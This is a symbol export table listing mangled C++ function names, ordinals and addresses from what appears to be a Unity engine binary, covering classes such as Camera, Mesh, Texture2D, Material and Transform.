?AddComponentInternal@GameObject@Unity@@SAXAAV12@AAVComponent@2@@Z	554	0x40fef0
?AddDefaultShaderPropertiesToSavedProperties@Material@Unity@@AAEXXZ	555	0x645a30
?AddEnum@ScriptingArguments@@QAEXH@Z	556	0x6077d0
?AddEvent@Object@@QAEXP6AXPAX0H@Z0@Z	557	0x406cb0
?AddFloat@ScriptingArguments@@QAEXM@Z	558	0x6076c0
?AddImageFilter@Camera@@QAEXABUImageFilter@@@Z	559	0x453590
?AddInitCallback@ModuleManager@@QAEXP6AXAAV1@@Z@Z	560	0x49c790
?AddInt64@ScriptingArguments@@QAEX_J@Z	561	0x607680
?AddInt@ScriptingArguments@@QAEXH@Z	562	0x607640
?AddIntermediateUser@Mesh@@QAEXAAV?$ListNode@VIntermediateRenderer@@@@@Z	563	0x445fc0
?AddKey@?$AnimationCurveTpl@M@@QAEHABU?$KeyframeTpl@M@@@Z	564	0x5ac8d0
?AddKey@?$AnimationCurveTpl@VQuaternionf@@@@QAEHABU?$KeyframeTpl@VQuaternionf@@@@@Z	565	0x5acec0
?AddKey@?$AnimationCurveTpl@VVector3f@@@@QAEHABU?$KeyframeTpl@VVector3f@@@@@Z	566	0x5acbb0
?AddMetaFlag@ProxyTransfer@@QAEXW4TransferMetaFlags@@@Z	567	0x407540
?AddMetaFlag@RemapPPtrTransfer@@QAEXW4TransferMetaFlags@@@Z	568	0x623f60
?AddMetaFlag@TransferBase@@QAEXH@Z	569	0x5b1110
?AddObject@ScriptingArguments@@QAEXPAUMonoObject@@@Z	570	0x607740
?AddObjectUser@Mesh@@QAEXAAV?$ListNode@VObject@@@@@Z	571	0x445f70
?AddProperty@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@PBMEEI@Z	572	0x64aca0
?AddPropertyColor@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVColorRGBAf@@@Z	573	0x64ade0
?AddPropertyFloat@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@M@Z	574	0x64ada0
?AddPropertyMatrix@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVMatrix4x4f@@@Z	575	0x64ae40
?AddPropertyTexture@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@W4TextureDimension@@UTextureID@@@Z	576	0x64ad70
?AddPropertyVector@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVVector4f@@@Z	577	0x64adc0
?AddRegisterClassesCallback@ModuleManager@@QAEXP6AXAAUClassRegistrationContext@@@Z@Z	578	0x41ee00
?AddRegisterICallsCallback@ModuleManager@@QAEXP6AXXZ@Z	579	0x41ee30
?AddSetupCallback@ModuleManager@@QAEXP6AXXZ@Z	580	0x49c720
?AddShader@ScriptMapper@@QAEXAAVShader@@@Z	581	0x64ea70
?AddString@ScriptingArguments@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	582	0x607990
?AddString@ScriptingArguments@@QAEXPBD@Z	583	0x607700
?AddStruct@ScriptingArguments@@QAEXPAX@Z	584	0x607770
?AddTexEnvUser@Texture@@QAEXPAVTexEnv@ShaderLab@@@Z	585	0x55fc20
?AddToAllCachedMaterials@Material@Unity@@AAEXXZ	586	0x644110
?AddToManager@Camera@@EAEXXZ	587	0x45c330
?AddToScene@Renderer@@MAEXXZ	588	0x512a50
?AddUser@UserList@@QAEXAAV1@@Z	589	0x5cc590
?AddUser@UserList@@QAEXAAVUserListNode@@@Z	590	0x5cc510
?AdjustArgumentsToMatchMethod@ScriptingArguments@@QAEXUScriptingMethodMono@@@Z	591	0x6078a0
?Align@?$StreamedBinaryRead@$00@@QAEXXZ	592	0x6259c0
?Align@?$StreamedBinaryRead@$0A@@@QAEXXZ	593	0x6259c0
?Align@?$StreamedBinaryWrite@$00@@QAEXXZ	594	0x625b30
?Align@?$StreamedBinaryWrite@$0A@@@QAEXXZ	595	0x625b30
?Align@ProxyTransfer@@QAEXXZ	596	0x623d90
?Align@TransferBase@@QAEXXZ	597	0x554fb0
?AlignAddress@BlobWrite@@AAEIII@Z	598	0x5c8ff0
?AllocNewBubble@MemoryPool@@AAEXXZ	599	0x663b40
?Allocate@MemoryPool@@QAEPAXI@Z	600	0x663c00
?Allocate@MemoryPool@@QAEPAXXZ	601	0x663db0
?AllocateAndAssignInstanceID@Object@@SAPAV1@PAV1@@Z	602	0x40c5e0
?AllocateAndAssignInstanceIDNoLock@Object@@SAPAV1@PAV1@@Z	603	0x40c660
?AllocateScaledOrPaddedData@Texture2D@@AAEPAVSharedTextureData@@W4TextureFormat@@@Z	604	0x560860
?AllowDataLayoutValidation@BlobWrite@@ABE_NXZ	605	0x636a90
?AllowTransferOptimization@?$AnimationCurveTpl@M@@SA_NXZ	606	0xd153d0
?AllowTransferOptimization@?$RectT@M@@SA_NXZ	607	0x5c9040
?AllowTransferOptimization@Behaviour@@SA_NXZ	608	0xd153d0
?AllowTransferOptimization@Camera@@SA_NXZ	609	0xd153d0
?AllowTransferOptimization@Component@Unity@@SA_NXZ	610	0xd153d0
?AllowTransferOptimization@GameObject@Unity@@SA_NXZ	611	0xd153d0
?AllowTransferOptimization@GlobalGameManager@@SA_NXZ	612	0xd153d0
?AllowTransferOptimization@LevelGameManager@@SA_NXZ	613	0xd153d0
?AllowTransferOptimization@Material@Unity@@SA_NXZ	614	0xd153d0
?AllowTransferOptimization@Matrix3x3f@@SA_NXZ	615	0xd153d0
?AllowTransferOptimization@Matrix4x4f@@SA_NXZ	616	0xd153d0
?AllowTransferOptimization@Mesh@@SA_NXZ	617	0xd153d0
?AllowTransferOptimization@MeshFilter@@SA_NXZ	618	0xd153d0
?AllowTransferOptimization@MonoManager@@SA_NXZ	619	0xd153d0
?AllowTransferOptimization@NamedObject@@SA_NXZ	620	0xd153d0
?AllowTransferOptimization@RenderSettings@@SA_NXZ	621	0xd153d0
?AllowTransferOptimization@RenderTexture@@SA_NXZ	622	0xd153d0
?AllowTransferOptimization@Renderer@@SA_NXZ	623	0xd153d0
?AllowTransferOptimization@ScriptMapper@@SA_NXZ	624	0xd153d0
?AllowTransferOptimization@SkinnedMeshRenderer@@SA_NXZ	625	0xd153d0
?AllowTransferOptimization@SparseTexture@@SA_NXZ	626	0xd153d0
?AllowTransferOptimization@Texture2D@@SA_NXZ	627	0xd153d0
?AllowTransferOptimization@Texture@@SA_NXZ	628	0xd153d0
?AllowTransferOptimization@Transform@@SA_NXZ	629	0xd153d0
?AllowsBatching@BaseRenderer@@UBE_NXZ	630	0xd153d0
?AllowsBatching@MeshIntermediateRenderer@@UBE_NXZ	631	0x418480
?AnimatorModifiedCallback@SkinnedMeshRenderer@@KAXPAX0H@Z	632	0x4b7b40
?Append@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@PBD0@Z	633	0x668b20
?Append@MaterialPropertyBlock@@QAEXABV1@@Z	634	0x64b150
?AppendTriangles@Mesh@@QBEXAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@I@Z	635	0x4cabd0
?AppendTriangles@Mesh@@SA?AW4AppendTrianglesReturnCode@1@AAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@IABV?$vector@USubMesh@@V?$stl_allocator@USubMesh@@$09$0BA@@@@4@PAVSharedMeshData@@@Z	636	0x4caad0
?Apply@Texture2D@@QAEX_N0@Z	637	0x560bd0
?ApplyFogParams@RenderSettings@@AAEXXZ	638	0x489480
?ApplyHaloTexture@RenderSettings@@AAEXXZ	639	0x48ab60
?ApplyLightChanges@RenderSettings@@AAEXW4LightsUpdateType@1@@Z	640	0x48aa70
?ApplyMaterialPropertyDrawers@Material@Unity@@QAEXXZ	641	0x554fb0
?ApplyRenderTexture@Camera@@AAE_NXZ	642	0x455a30
?ApplySettings@RenderTexture@@UAEXXZ	643	0x5157e0
?ApplySettings@Texture2D@@UAEXXZ	644	0x560560
?ApplySettings@Texture@@UAEXXZ	645	0x55fb00
?AsUTF8@ICallString@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@XZ	646	0x54dac0
?AssertContainsNoPPtr@ProxyTransfer@@AAEXABVTypeTreeIterator@@@Z	647	0x623a90
?AssertOptimizeTransfer@ProxyTransfer@@AAEXH@Z	648	0x623ae0
?AssetMetaDataOnly@TransferBase@@QAE_NXZ	649	0xd153d0
?Assign@?$AnimationCurveTpl@M@@QAEXPBU?$KeyframeTpl@M@@0@Z	650	0x6ef630
?Assign@?$AnimationCurveTpl@VQuaternionf@@@@QAEXPBU?$KeyframeTpl@VQuaternionf@@@@0@Z	651	0x8520a0
?Assign@?$AnimationCurveTpl@VVector3f@@@@QAEXPBU?$KeyframeTpl@VVector3f@@@@0@Z	652	0x852110
?AssignMeshToRenderer@MeshFilter@@AAEXXZ	653	0x4d2480
?AwakeFromLoad@Behaviour@@UAEXW4AwakeFromLoadMode@@@Z	654	0x523350
?AwakeFromLoad@Camera@@UAEXW4AwakeFromLoadMode@@@Z	655	0x45c2c0
?AwakeFromLoad@CollisionMeshData@@QAEXW4AwakeFromLoadMode@@@Z	656	0x5b1110
?AwakeFromLoad@Component@Unity@@UAEXW4AwakeFromLoadMode@@@Z	657	0x5b1110
?AwakeFromLoad@GameObject@Unity@@UAEXW4AwakeFromLoadMode@@@Z	658	0x40fcf0
?AwakeFromLoad@Material@Unity@@UAEXW4AwakeFromLoadMode@@@Z	659	0x6462d0
?AwakeFromLoad@Mesh@@UAEXW4AwakeFromLoadMode@@@Z	660	0x4cdc80
?AwakeFromLoad@MeshFilter@@MAEXW4AwakeFromLoadMode@@@Z	661	0x4d2530
?AwakeFromLoad@MonoManager@@UAEXW4AwakeFromLoadMode@@@Z	662	0x548b90
?AwakeFromLoad@Object@@UAEXW4AwakeFromLoadMode@@@Z	663	0x5b1110
?AwakeFromLoad@RenderSettings@@UAEXW4AwakeFromLoadMode@@@Z	664	0x48be10
?AwakeFromLoad@RenderTexture@@UAEXW4AwakeFromLoadMode@@@Z	665	0x515f00
?AwakeFromLoad@Renderer@@UAEXW4AwakeFromLoadMode@@@Z	666	0x5133c0
?AwakeFromLoad@SkinnedMeshRenderer@@UAEXW4AwakeFromLoadMode@@@Z	667	0x4b9e50
?AwakeFromLoad@Texture2D@@UAEXW4AwakeFromLoadMode@@@Z	668	0x560e20
?AwakeFromLoad@Transform@@UAEXW4AwakeFromLoadMode@@@Z	669	0x56a950
?AwakeFromLoadThreaded@CollisionMeshData@@QAEXAAVMesh@@@Z	670	0x4b1740
?AwakeFromLoadThreaded@Mesh@@UAEXXZ	671	0x4bf740
?AwakeFromLoadThreaded@Object@@UAEXXZ	672	0x554fb0
?AwakeFromLoadThreaded@Texture2D@@UAEXXZ	673	0x554fb0
?BakeMesh@SkinnedMeshRenderer@@QAEXAAVMesh@@@Z	674	0x4bab40
?BecameInvisible@SkinnedMeshRenderer@@UAEXXZ	675	0x4b73f0
?BecameVisible@SkinnedMeshRenderer@@UAEXXZ	676	0x4b7390
?BeginArrayTransfer@ProxyTransfer@@AAEXPBD0AAHW4TransferMetaFlags@@@Z	677	0x623e10
?BeginArrayTransfer@SafeBinaryRead@@AAE_NPBD0AAH@Z	678	0x625850
?BeginMetaGroup@TransferBase@@QAEXV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	679	0x408b60
?BeginReloadAssembly@MonoManager@@AAE?AW4AssemblyLoadFailure@1@AAUDomainReloadingData@@@Z	680	0x547f50
?BeginTransfer@ProxyTransfer@@QAEXPBD0PADW4TransferMetaFlags@@@Z	681	0x623b90
?BeginTransfer@SafeBinaryRead@@QAEHPBD0PAP6A_NPAXAAV1@@Z_N@Z	682	0x625100
?BoundsChanged@Renderer@@IAEXXZ	683	0x513520
?BroadcastMessageAny@Transform@@QAEXABVMessageIdentifier@@AAUMessageData@@@Z	684	0x567e50
?BuildProperties@Material@Unity@@AAEXXZ	685	0x646240
?BuildShaderKeywordSet@Material@Unity@@AAEXXZ	686	0x643f40
?ByteSwapIndices@Mesh@@QAEXXZ	687	0x4c0ba0
?CalcFogFactor@RenderSettings@@QBEMM@Z	688	0x488ca0
?CalculateAmbientProbeFromSkybox@RenderSettings@@QAEXXZ	689	0x48bf40
?CalculateAnimatedPoses@SkinnedMeshRenderer@@QAE_NPAVMatrix4x4f@@I@Z	690	0x4b94a0
?CalculateAnimatedPosesWithRoot@SkinnedMeshRenderer@@IAE_NABVMatrix4x4f@@PAV2@I@Z	691	0x4b9710
?CalculateAntiAliasingForRT@Camera@@QBEHXZ	692	0x457d20
?CalculateBoneBasedBounds@SkinnedMeshRenderer@@IAE_NPBVMatrix4x4f@@IAAVMinMaxAABB@@@Z	693	0x4b75d0
?CalculateCacheData@?$AnimationCurveTpl@M@@QBEXAAUCache@1@HHM@Z	694	0x5a8af0
?CalculateCacheData@?$AnimationCurveTpl@VQuaternionf@@@@QBEXAAUCache@1@HHM@Z	695	0x5a9490
?CalculateCacheData@?$AnimationCurveTpl@VVector3f@@@@QBEXAAUCache@1@HHM@Z	696	0x5a8ef0
?CalculateCachedClassID@Object@@SAPAV1@PAV1@@Z	697	0x406bc0
?CalculateCanDoShadows@Camera@@QBE_NXZ	698	0x4550d0
?CalculateClosestPoint@@YAXABVVector3f@@ABVAABB@@AAV1@AAM@Z	699	0x526680
?CalculateCullingParameters@Camera@@QBEXAAUCullingParameters@@@Z	700	0x45a9f0
?CalculateCustomCullingParameters@Camera@@QBEXAAUCullingParameters@@PBVPlane@@H@Z	701	0x458bb0
?CalculateFarCullDistances@Camera@@QBEXPAMM@Z	702	0x4532c0
?CalculateFarPlaneWorldSpaceLength@Camera@@QBEMXZ	703	0x459580
?CalculateFrustumPlanes@Camera@@QBEXPAVPlane@@ABVMatrix4x4f@@MAAM_N@Z	704	0x455c10
?CalculateLocalAABB@@YA_NAAVGameObject@Unity@@PAVAABB@@@Z	705	0x5281a0
?CalculateLocalTransformMatrix@Transform@@ABE?AW4TransformType@@AAVMatrix4x4f@@@Z	706	0x567240
?CalculateNearPlaneWorldSpaceLength@Camera@@QBEMXZ	707	0x459850
?CalculateNeedsToRenderIntoRT@Camera@@QBE_NXZ	708	0x4551b0
?CalculateRenderingPath@Camera@@QBE?AW4RenderingPath@@XZ	709	0x455120
?CalculateRootLocalSpaceBounds@SkinnedMeshRenderer@@QAE_NAAVMinMaxAABB@@@Z	710	0x4ba3d0
?CalculateScaleOnlyMatrix@Transform@@QBEXAAVMatrix4x4f@@0@Z	711	0x56cd20
?CalculateShadowDistance@Camera@@QBEMXZ	712	0x4533b0
?CalculateSkinningMatrices@SkinnedMeshRenderer@@IAE_NABVMatrix4x4f@@PAV2@I@Z	713	0x4b9790
?CalculateSqrDistance@@YAMABVVector3f@@ABVSphere@@@Z	714	0x440ac0
?CalculateStreamsLayout@Mesh@@ABE?AUVertexStreamsLayout@@XZ	715	0x4bfc00
?CalculateSupportedMessages@Component@Unity@@UAEIXZ	716	0xf35de0
?CalculateSupportedMessages@Transform@@UAEIXZ	717	0x567c80
?CalculateTransformMatrix@Transform@@QBE?AW4TransformType@@AAVMatrix4x4f@@@Z	718	0x56cb40
?CalculateTransformMatrixDisableScale@Transform@@QBE?AW4TransformType@@AAVMatrix4x4f@@@Z	719	0x568ff0
?CalculateTransformMatrixIterative@Transform@@ABE?AW4TransformType@@AAVMatrix4x4f@@@Z	720	0x568dd0
?CalculateTransformMatrixScaleDelta@Transform@@QBE?AW4TransformType@@AAVMatrix4x4f@@@Z	721	0x56cdb0
?CalculateTriangleCount@Mesh@@QBEHXZ	722	0x4bfb60
?CalculateUsingHDR@Camera@@QBE_NXZ	723	0x4558a0
?CallInitializeClass@Object@@SAXXZ	724	0x407af0
?CallPostInitializeClass@Object@@SAXXZ	725	0x407b60
?CanAccessFromScript@Mesh@@QBE_NXZ	726	0x4bf5f0
?CheckArgumentsAgainstMethod@ScriptingArguments@@QAE_NUScriptingMethodMono@@@Z	727	0x6078d0
?CheckConsistency@Camera@@UAEXXZ	728	0x454d50
?CheckConsistency@Component@Unity@@UAEXXZ	729	0x410950
?CheckConsistency@GameObject@Unity@@UAEXXZ	730	0x410480
?CheckConsistency@Object@@UAEXXZ	731	0x554fb0
?CheckConsistency@RenderSettings@@UAEXXZ	732	0x489380
?CheckConsistency@Renderer@@UAEXXZ	733	0x513670
?CheckConsistency@Texture@@UAEXXZ	734	0x55f4e0
?CheckConsistency@Transform@@UAEXXZ	735	0x56f4a0
?CheckHasPixelData@Texture2D@@ABE_NXZ	736	0x5614a0
?CheckIfBuffersLost@Mesh@@AAEXXZ	737	0x4bf630
?CheckInstanceIDsLoaded@Object@@SAXPAHH@Z	738	0x409340
?CheckMessageDataType@Unity@@YA_NHAAUMessageData@@@Z	739	0x40eb60
?Clamp@?$RectT@M@@QAEXABV1@@Z	740	0x453f00
?ClassIDForScriptingClass@ScriptingManager@@QAEHPAUMonoClass@@@Z	741	0x551260
?ClassIDToRTTI@Object@@SAPAURTTI@1@H@Z	742	0x409580
?ClassIDToScriptingClass@ScriptingManager@@QAEPAUMonoClass@@H@Z	743	0x54fe70
?ClassIDToString@Object@@SAABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@H@Z	744	0x409400
?Cleanup@CollisionMeshData@@QAEXXZ	745	0x4b17b0
?Cleanup@JobQueue@@QAEXXZ	746	0x653120
?CleanupAfterRendering@Camera@@AAEXPBUCullResults@@@Z	747	0x457e40
?CleanupAllClasses@Object@@SAXXZ	748	0x40b5c0
?CleanupClass@Behaviour@@SAXXZ	749	0x523230
?CleanupClass@Camera@@SAXXZ	750	0x554fb0
?CleanupClass@GameObject@Unity@@SAXXZ	751	0x412c70
?CleanupClass@Material@Unity@@SAXXZ	752	0x6447f0
?CleanupClass@MeshFilter@@SAXXZ	753	0x554fb0
?CleanupClass@RenderSettings@@SAXXZ	754	0x489290
?CleanupClass@Renderer@@SAXXZ	755	0x512990
?CleanupClass@SkinnedMeshRenderer@@SAXXZ	756	0x4b6ea0
?CleanupClass@Texture2D@@SAXXZ	757	0x554fb0
?CleanupClass@Texture@@SAXXZ	758	0x560200
?CleanupClassIDMaps@MonoManager@@AAEXXZ	759	0x5469e0
?CleanupConverterTable@SafeBinaryRead@@SAXXZ	760	0x624e70
?CleanupDepthTextures@Camera@@AAEXXZ	761	0x453500
?CleanupGeneratedSkyboxReflection@RenderSettings@@QAEXPBD@Z	762	0x48ae10
?Clear@Camera@@QAEXXZ	763	0x45a860
?Clear@MaterialPropertyBlock@@QAEXXZ	764	0x418ad0
?Clear@Mesh@@QAEX_N@Z	765	0x4cbe30
?Clear@UserList@@QAEXXZ	766	0x5cc420
?ClearCachedAnimatorBinding@SkinnedMeshRenderer@@IAEXXZ	767	0x4b7ac0
?ClearChild@Transform@@QAEXPAV1@@Z	768	0x56acb0
?ClearChildrenParentPointer@Transform@@QAEXXZ	769	0x567350
?ClearIntermediateRenderers@Camera@@QAEXI@Z	770	0x453240
?ClearNoSkybox@Camera@@QAEX_N@Z	771	0x45a930
?ClearPersistentDirty@Object@@QAEXXZ	772	0x554fb0
?ClearProperties@Material@Unity@@QAEXXZ	773	0x643ed0
?ClearPropertyBlock@Renderer@@QAEXXZ	774	0x5135b0
?ClearSkinCache@Mesh@@QAEXXZ	775	0x4c1820
?ClearSubsetIndices@Renderer@@QAEXXZ	776	0x513680
?ClearTexEnvUsers@Texture@@QAEXXZ	777	0x55fab0
?Compress@Texture2D@@QAEX_N@Z	778	0x562d40
?ComputeBatchAABB@IRaycast@@KA?AVMinMaxAABB@@ABU?$dynamic_array@UBatchedRaycast@@$03@@@Z	779	0x59b110
?ComputeCRC@Material@Unity@@QBEIXZ	780	0x6448b0
?ComputeHash@MaterialPropertyBlock@@QAEXXZ	781	0x64abc0
?Contains@?$RectT@H@@QBE_NHH@Z	782	0x5ccc70
?Contains@?$RectT@M@@QBE_NABVVector2f@@@Z	783	0x584c70
?Contains@?$RectT@M@@QBE_NMM@Z	784	0x43b280
?ConvertEndianess@?$StreamedBinaryWrite@$0A@@@QAE_NXZ	785	0xd153d0
?ConvertEndianess@BlobWrite@@QAE_NXZ	786	0x5c9030
?ConvertEndianess@SafeBinaryRead@@QAE_NXZ	787	0x406810
?ConvertEndianess@TransferBase@@QAE_NXZ	788	0xd153d0
?Copy@Matrix4x4f@@QAEAAV1@ABV1@@Z	789	0x5a1a30
?CopyFrom@Camera@@QAEXABV1@@Z	790	0x456560
?CopyProperties@GameObject@Unity@@QAEXAAV12@@Z	791	0x40e570
?CopyPropertiesFromMaterial@Material@Unity@@QAEXAAV12@@Z	792	0x6477c0
?CopyTRSNoNotification@Transform@@QAEXABV1@@Z	793	0x567280
?CopyTransformed@Mesh@@QAEXABV1@ABVMatrix4x4f@@@Z	794	0x4cb050
?CorrectVerticalTexelSize@RenderTexture@@QAEX_N@Z	795	0x5158e0
?CountDataMipmaps@Texture2D@@QBEHXZ	796	0x5604f0
?CountDerivedComponents@GameObject@Unity@@QBEHH@Z	797	0x40e920
?CountGroup@JobQueue@@AAEHPAVJobGroup@@@Z	798	0x653020
?CountGroups@JobQueue@@AAEHPAVJobGroup@@0@Z	799	0x653050
?CountMipmaps@RenderTexture@@UBEHXZ	800	0x515a70
?CountMipmaps@SparseTexture@@UBEHXZ	801	0x565c70
?CountMipmaps@Texture2D@@UBEHXZ	802	0x5604c0
?Create@PlatformThread@@IAEXPBVThread@@IH@Z	803	0x654e10
?Create@RenderTexture@@QAE_NXZ	804	0x516bb0
?CreateCachedAnimatorBinding@SkinnedMeshRenderer@@IAEXXZ	805	0x4b8b40
?CreateCustomFormatChannel@Mesh@@QAEXW4ShaderChannel@@W4VertexChannelFormat@@H@Z	806	0x4c0af0
?CreateDefaultFormatChannel@Mesh@@QAEXW4ShaderChannel@@@Z	807	0x4c0ab0
?CreateForEachJobBatch@JobQueue@@QAEPAVJobGroup@@P6AXPAXI@Z0IP6AX0@ZUJobGroupID@@PAV2@@Z	808	0x653440
?CreateGroup@JobQueue@@QAEPAVJobGroup@@IUJobGroupID@@@Z	809	0x652e80
?CreateIdentity@Matrix4x4f@@SA?AV1@XZ	810	0x5a0580
?CreateInstance@ScriptingManager@@QAEPAUMonoObject@@PAUMonoClass@@@Z	811	0x54fdb0
?CreateJob@JobQueue@@AAEPAVJobGroup@@P6AXPAX@Z0UJobGroupID@@@Z	812	0x653080
?CreateJobBatch@JobQueue@@QAEPAVJobGroup@@P6AXPAX@Z0UJobGroupID@@PAV2@@Z	813	0x6533f0
?CreateJobsForEach@JobQueue@@AAEPAVJobGroup@@P6AXPAXI@Z0IP6AX0@ZUJobGroupID@@@Z	814	0x6530c0
?CreateMaterial@Material@Unity@@SAPAV12@AAVShader@@H_N@Z	815	0x647ae0
?CreateMaterial@Material@Unity@@SAPAV12@ABV12@H_N@Z	816	0x647b30
?CreateMaterialFromString@Material@Unity@@SAPAV12@PBDH_N@Z	817	0x648800
?CreateMesh@Mesh@@AAEXXZ	818	0x4c2ad0
?CreateScaledAndPaddedData@Texture2D@@AAEXPAPAVSharedTextureData@@0@Z	819	0x560940
?CreateSkinMatricesTask@SkinnedMeshRenderer@@IAEPAUCalculateSkinMatricesTask@@PAVMatrix4x4f@@I_N@Z	820	0x4b9030
?Cull@Camera@@QAEXAAUCullResults@@@Z	821	0x45c480
?CurrentThreadIsMainThread@Thread@@SA_NXZ	822	0x401100
?CustomCull@Camera@@QAEXABUCameraCullingParameters@@AAUCullResults@@@Z	823	0x45aef0
?Deactivate@Behaviour@@UAEXW4DeactivateOperation@Unity@@@Z	824	0x5231a0
?Deactivate@Component@Unity@@UAEXW4DeactivateOperation@2@@Z	825	0x5b1110
?Deactivate@GameObject@Unity@@QAEXW4DeactivateOperation@2@@Z	826	0x40fa70
?Deactivate@Renderer@@UAEXW4DeactivateOperation@Unity@@@Z	827	0x512f90
?Deactivate@SkinnedMeshRenderer@@UAEXW4DeactivateOperation@Unity@@@Z	828	0x4b7e30
?Deallocate@MemoryPool@@QAEXPAX@Z	829	0x6639e0
?DeallocateAll@MemoryPool@@QAEXXZ	830	0x663a60
?DebugStringToFile@@YAXPBDH0HHHHP6AXABUCppLogEntry@@@Z@Z	831	0x6629b0
?DeleteGfxTexture@SparseTexture@@AAEXXZ	832	0x565cb0
?DeleteGfxTexture@Texture2D@@IAEXXZ	833	0x560610
?Destripify@@YAXPBGHAAV?$vector@GV?$stl_allocator@G$0FO@$0BA@@@@std@@@Z	834	0x571680
?Destripify@@YAXPBGHAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@@Z	835	0x5716d0
?Destripify@@YAXPBIHAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@@Z	836	0x571720
?DestroyObjectHighLevel@@YAXPAVObject@@_N@Z	837	0x5c7c80
?DestroySingleObject@@YAXPAVObject@@@Z	838	0x40a880
?DestroySurfaces@RenderTexture@@AAEXXZ	839	0x515ae0
?DestroyTexture@Texture2D@@IAEXXZ	840	0x560680
?DidDeleteMesh@SkinnedMeshRenderer@@QAEXXZ	841	0x4b6eb0
?DidModifyMesh@SkinnedMeshRenderer@@QAEXXZ	842	0x554fb0
?DidModifyShaderKeywordSet@Material@Unity@@AAEXXZ	843	0x643f60
?DidReadLastPPtrProperty@RemapPPtrTransfer@@QAE_NXZ	844	0x5c9040
?DidReadLastPPtrProperty@SafeBinaryRead@@QAE_NXZ	845	0x406820
?DidReadLastPPtrProperty@TransferBase@@QBE_NXZ	846	0xd153d0
?DidReadLastProperty@SafeBinaryRead@@QAE_NXZ	847	0x406820
?DidReadLastProperty@TransferBase@@QBE_NXZ	848	0xd153d0
?DirtyPositionMaskWithoutNotification@Transform@@QAEXXZ	849	0x40e4a0
?DisableKeyword@Material@Unity@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	850	0x644220
?DiscardContents@RenderTexture@@QAEXXZ	851	0x5164e0
?DiscardContents@RenderTexture@@QAEX_N0@Z	852	0x516500
?DisplayHDRWarnings@Camera@@ABEXXZ	853	0x455940
?DoRender@Camera@@AAEXAAUCullResults@@P6AXAAV1@AAURenderLoop@@0@ZH@Z	854	0x454fe0
?DoRenderGUILayer@Camera@@AAEXXZ	855	0x454fc0
?DoRenderPostLayers@Camera@@AAEXXZ	856	0x454f90
?DoesQualifyForGPUSkinning@SkinnedMeshRenderer@@QBE_NXZ	857	0x4b6e00
?DoneLoadingManagers@Object@@SAXXZ	858	0x406da0
?DrawMesh@DrawUtil@@SAXABVChannelAssigns@@AAVMesh@@ABVMatrix4x4f@@H@Z	859	0x4f7580
?DrawMesh@DrawUtil@@SAXABVChannelAssigns@@AAVMesh@@ABVVector3f@@ABVQuaternionf@@H@Z	860	0x4f7520
?DrawMeshBuffersRaw@DrawUtil@@SAXABUMeshBuffers@@AAVMesh@@ABVChannelAssigns@@HH@Z	861	0x4f7010
?DrawMeshRaw@DrawUtil@@SAXABVChannelAssigns@@AAVMesh@@HHPAV3@@Z	862	0x4f70c0
?DrawProcedural@DrawUtil@@SAXW4GfxPrimitiveType@@HH@Z	863	0x4f6ec0
?DrawProceduralIndirect@DrawUtil@@SAXW4GfxPrimitiveType@@UComputeBufferID@@I@Z	864	0x4f6f50
?DrawSpriteRaw@DrawUtil@@SAXABVChannelAssigns@@AAVSprite@@ABVColorRGBAf@@@Z	865	0x4f7260
?DrawTextMeshRaw@DrawUtil@@SAXABVChannelAssigns@@AAVMesh@@I@Z	866	0x4f71e0
?EnableKeyword@Material@Unity@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	867	0x6441c0
?EnableResourceImage@TransferBase@@QAEXW4ActiveResourceImage@@@Z	868	0x5b1110
?EncodeToJPG@Texture2D@@QAE_NAAU?$dynamic_array@E$00@@H@Z	869	0x562930
?EncodeToPNG@Texture2D@@QAE_NAAU?$dynamic_array@E$00@@@Z	870	0x562910
?EndArrayTransfer@ProxyTransfer@@AAEXXZ	871	0x623d50
?EndArrayTransfer@SafeBinaryRead@@AAEXXZ	872	0x625710
?EndCurrentSkinningInstance@SkinnedMeshRenderer@@IAEXXZ	873	0x4b7030
?EndMetaGroup@TransferBase@@QAEXXZ	874	0x554fb0
?EndReloadAssembly@MonoManager@@AAE?AW4AssemblyLoadFailure@1@ABUDomainReloadingData@@Vdynamic_bitset@@@Z	875	0x548280
?EndTransfer@ProxyTransfer@@QAEXXZ	876	0x623ca0
?EndTransfer@SafeBinaryRead@@QAEXXZ	877	0x625690
?EnqueueAll@JobQueue@@AAEXPAVJobGroup@@0@Z	878	0x653370
?EnsurePropertiesExist@Material@Unity@@QAEXXZ	879	0x417fc0
?EnsureUniqueTransform@GameObject@Unity@@QAE_N_N0@Z	880	0x4102b0
?Enter@PlatformThread@@IAEXPBVThread@@@Z	881	0x654ee0
?EqualsCurrentThreadID@Thread@@SA_NK@Z	882	0x4010d0
?EqualsCurrentThreadIDForAssert@Thread@@SA_NK@Z	883	0x4010d0
?EqualsThreadID@Thread@@SA_NKK@Z	884	0x4b1da0
?Evaluate@?$AnimationCurveTpl@M@@QBEMM@Z	885	0x5abc10
?Evaluate@?$AnimationCurveTpl@VQuaternionf@@@@QBE?AVQuaternionf@@M@Z	886	0x5ac560
?Evaluate@?$AnimationCurveTpl@VVector3f@@@@QBE?AVVector3f@@M@Z	887	0x5abf00
?EvaluateClamp@?$AnimationCurveTpl@M@@QBEMM@Z	888	0x5aa650
